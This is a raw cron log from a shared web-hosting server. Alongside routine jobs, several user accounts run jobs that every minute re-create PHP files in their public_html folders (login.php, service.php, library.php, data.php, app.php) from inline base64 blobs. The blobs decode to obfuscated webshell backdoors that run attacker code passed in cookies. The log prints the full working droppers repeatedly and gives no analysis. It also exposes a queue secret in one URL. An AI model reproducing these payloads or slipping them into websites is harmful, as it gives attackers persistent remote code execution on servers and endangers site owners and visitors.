Mar  2 00:11:01 medusa CROND[14165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:11:01 medusa CROND[14167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:11:01 medusa CROND[14168]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:11:01 medusa CROND[14169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:11:01 medusa CROND[14171]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:11:01 medusa CROND[14175]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:11:01 medusa CROND[14181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:12:01 medusa CROND[20147]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:12:01 medusa CROND[20252]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:12:01 medusa CROND[20256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:12:01 medusa CROND[20258]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:12:01 medusa CROND[20260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:12:01 medusa CROND[20261]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:12:01 medusa CROND[20262]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:12:01 medusa CROND[20263]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:12:01 medusa CROND[20265]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:12:01 medusa CROND[20266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:12:01 medusa CROND[20277]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:12:01 medusa CROND[20278]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:12:01 medusa CROND[20282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:12:01 medusa CROND[20281]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:13:02 medusa CROND[28470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:13:02 medusa CROND[28471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:13:02 medusa CROND[28472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:13:02 medusa CROND[28473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:13:02 medusa CROND[28474]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:13:02 medusa CROND[28476]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:13:02 medusa CROND[28477]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 00:13:02 medusa CROND[28478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:13:02 medusa CROND[28479]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:13:02 medusa CROND[28481]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
